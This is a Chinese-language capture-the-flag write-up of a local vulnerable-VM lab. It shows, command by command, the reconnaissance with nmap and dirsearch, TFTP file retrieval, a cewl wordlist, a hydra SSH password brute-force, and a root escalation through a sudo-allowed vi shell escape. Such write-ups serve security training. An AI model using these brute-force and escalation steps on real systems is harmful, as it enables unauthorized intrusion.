完整内容见我的博客xzajyjs.cn
靶场下载地址。
下载下来后是 .vmdk 格式,vm直接导入。 M1请使用UTM进行搭建,教程见此。该靶场可能出现网络问题,解决方案见此
信息搜集
arp-scan -l # 主机发现,目标位192.168.168.14
nmap -sV -A 192.168.168.14 # 做端口扫描
扫描结果为22
和80
端口开放,接下来对80端口进行分析,默认是apache的初始化页面,接下来进行目录扫描。
dirsearch -u 192.168.168.14
扫描结果很不错,有robots.txt
和security.txt
的两个文件,分别访问一下
![image-20240229010722307](https://i-blog.csdnimg.cn/blog_migrate/3621e9df30b91b21fe9ba9565f7c6ba9.png)
# robots.txt
User-agent: *
Disallow: /
/snmpwalk.txt
/sshfolder.txt
/security.txt
--------------------
# security.txt
If its a bug then let me know on Twitter @lorde_zw :)
--------------------
# snmpwalk.txt
| 403:
| Name: cron
| Path: /usr/sbin/cron
| Params: -f
| 768
| Name: tftpd
| Path: /usr/sbin/tftpd
| Params: -- listen user tftp -- address 0.0.0.0:1337 -- secure /srv/tftp
| 806
| Name: mysqld
| Path: /usr/sbin/mysqld
| Params: -i 0.0.0.0
---------------------
# ssh_folder.txt
从这些信息中可以获得存在ssh的一个用户名为sv5
,并且在/srv/tftp
目录下有id_rsa
和id_rsa.pub
文件
根据snmpwalk.txt
文件得知:
进程403的名称是cron,路径是/usr/sbin/cron,参数是-f。
进程768的名称是tftpd,路径是/usr/sbin/tftpd,参数是--listen user tftp --address 0.0.0.0:1337 --secure /srv/tftp。
进程806的名称是mysqld,路径是/usr/sbin/mysqld,参数是-i 0.0.0.0。
"snmpwalk"是一个用于通过SNMP协议获取设备信息的命令行工具。在这种情况下,"snmpwalk.txt"文件可能包含了通过SNMP协议获取的关于系统中运行进程的信息。这些信息通常用于监视和管理网络设备和服务器。
渗透过程
根据tftpd以及srv/tftp中的文件可知,可以尝试连接tftp服务,并且把两个密钥文件下载下来
tftp 192.168.168.14 1337
get id_rsa
get id_rsa.pub
查看这两个文件发现被耍了,并不是真正的私钥和公钥,但提示我们了使用cewl
这个工具
cewl这个工具是一个类似爬虫的工具,可以爬取网站内容以获取字典文件。
cewl -n 192.168.168.14 -w pass.txt
接下来就没有什么突破口了,用这个密码字典去破解sv5
用户的密码
hydra -l sv5 -P pass.txt ssh://192.168.168.14
破解出来密码是whoistheplug
,ssh连接上去
sudo -l
看一下当前用户可以root权限执行哪些命令
发现/usr/bin/vi /tmp/*
是可以免密以root权限执行的,在交互命令输入!/bin/bash
就可以执行指令,这里直接进入bash,就可以看到以root权限进去了
sudo /usr/bin/vi /tmp/haha.txt
:!/bin/bash
至此整个打靶过程就结束了
总结
总体来说这个靶场非常简单,用到的知识点也非常少,都是常见的处理手法。